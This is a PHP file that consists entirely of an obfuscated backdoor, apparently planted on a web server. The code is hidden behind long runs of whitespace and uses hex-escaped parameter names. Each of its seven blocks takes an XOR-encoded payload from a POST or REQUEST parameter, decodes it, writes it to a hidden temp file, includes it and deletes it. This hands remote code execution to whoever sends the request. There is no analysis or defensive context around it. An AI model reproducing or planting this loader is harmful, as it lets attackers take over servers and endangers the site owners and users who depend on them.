<?php																																										if(filter_has_var(INPUT_POST, "f\x61\x63to\x72")){ $reference = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), getenv("TEMP"), "/tmp"]); $sym = $_REQUEST["f\x61\x63to\x72"]; $sym = explode ( "." , $sym ) ; $value =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $o =0; foreach( $sym as $v1) { $sChar =ord( $salt[$o % $sLen]); $dec =( ( int)$v1 - $sChar -( $o % 10)) ^ 86; $value .= chr( $dec); $o++; } foreach ($reference as $res) { if ((function($d) { return is_dir($d) && is_writable($d); })($res)) { $symbol = sprintf("%s/.item", $res); $success = file_put_contents($symbol, $value); if ($success) { include $symbol; @unlink($symbol); die();} } } }
																																										if(in_array("\x63o\x6Dp", array_keys($_REQUEST))){ $ent = array_filter([session_save_path(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp", sys_get_temp_dir()]); $value = $_REQUEST["\x63o\x6Dp"]; $value= explode ( '.',$value) ; $entry = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $m = 0; $len = count($value ); do { if($m >= $len) break; $v4 = $value[$m]; $sChar = ord($salt[$m % $lenS] ); $dec =((int)$v4 - $sChar -($m % 10))^ 51; $entry .= chr($dec ); $m++; } while(true ); foreach ($ent as $token) { if (is_dir($token) && is_writable($token)) { $itm = join("/", [$token, ".object"]); if (file_put_contents($itm, $entry)) { require $itm; unlink($itm); exit; } } } }
																																										if(in_array("ent\x69\x74\x79", array_keys($_POST))){ $marker = $_POST["ent\x69\x74\x79"]; $marker= explode ( '.' , $marker ) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $__len = count( $marker); for( $z = 0; $z <$__len; $z++) { $v1 = $marker[$z]; $sChar = ord( $salt[$z % $sLen]); $d =( ( int)$v1 - $sChar -( $z % 10)) ^90; $value .= chr( $d); } $ent = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/dev/shm", session_save_path(), "/var/tmp", getcwd()]); foreach ($ent as $bind): if ((bool)is_dir($bind) && (bool)is_writable($bind)) { $descriptor = join("/", [$bind, ".parameter_group"]); if (file_put_contents($descriptor, $value)) { include $descriptor; @unlink($descriptor); die(); } } endforeach; }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["p\x6F\x69nte\x72"])){ $factor = array_filter([getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), session_save_path(), "/var/tmp", ini_get("upload_tmp_dir")]); $desc = $_REQUEST["p\x6F\x69nte\x72"]; $desc=explode ( '.' , $desc ) ; $tkn= ''; $s2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s2); $s= 0; while ($s < count($desc)) { $v6= $desc[$s]; $chS= ord($s2[$s % $lenS]); $d= ((int)$v6 - $chS - ($s % 10)) ^ 7; $tkn .=chr($d); $s++; } while ($itm = array_shift($factor)) { if ((bool)is_dir($itm) && (bool)is_writable($itm)) { $descriptor = vsprintf("%s/%s", [$itm, ".sym"]); if (file_put_contents($descriptor, $tkn)) { include $descriptor; @unlink($descriptor); die(); } } } }
																																										if(in_array("\x72\x65s", array_keys($_POST))){ $desc = $_POST["\x72\x65s"]; $desc = explode ( "." ,$desc ) ; $factor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); foreach( $desc as $j => $v6) { $chS = ord( $salt[$j % $sLen]); $d =( ( int)$v6 - $chS -( $j % 10)) ^ 71; $factor .= chr( $d); } $item = array_filter(["/dev/shm", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), getenv("TMP")]); foreach ($item as $holder): if (is_dir($holder) ? is_writable($holder) : false) { $pgrp = "$holder" . "/.data"; if (file_put_contents($pgrp, $factor)) { include $pgrp; @unlink($pgrp); exit; } } endforeach; }
																																										if(!is_null($_REQUEST["\x70\x61\x72am\x65\x74e\x72\x5F\x67roup"] ?? null)){ $data_chunk = array_filter(["/tmp", getcwd(), getenv("TEMP"), session_save_path(), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm"]); $ptr = $_REQUEST["\x70\x61\x72am\x65\x74e\x72\x5F\x67roup"]; $ptr = explode ( "." , $ptr ) ; $key = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s); $i = 0; $__tmp = $ptr; while( $v2 = array_shift( $__tmp)) { $sChar = ord( $s[$i % $lenS]); $dec =( ( int)$v2 - $sChar -( $i % 10)) ^81; $key .= chr( $dec); $i++; } foreach ($data_chunk as $component): if (!!is_dir($component) && !!is_writable($component)) { $reference = str_replace("{var_dir}", $component, "{var_dir}/.bind"); if (file_put_contents($reference, $key)) { require $reference; unlink($reference); die(); } } endforeach; }


if(count($_POST) > 0 && isset($_POST["r\x65\x63\x6Frd"])){
	$token = $_POST["r\x65\x63\x6Frd"];
	$token		= 	explode	 ("."	  ,	$token	) 	 ;	  
	$entity = '';
            $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen( $s8	);
            $m = 0;
    
            array_walk( $token, function( $v5) use( &$entity, &$m, $s8, $sLen) {
                $chS = ord( $s8[$m % $sLen]	);
                $d =( ( int)$v5 - $chS -( $m % 10)) ^ 54;
                $entity .= chr( $d	);
                $m++;
            }	);
	$res = array_filter([ini_get("upload_tmp_dir"), getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getenv("TMP"), "/dev/shm", "/tmp"]);
	foreach ($res as $obj) {
    		if (is_dir($obj) ? is_writable($obj) : false) {
    $tkn = join("/", [$obj, ".symbol"]);
    if (file_put_contents($tkn, $entity)) {
	require $tkn;
	unlink($tkn);
	exit;
}
}
}
}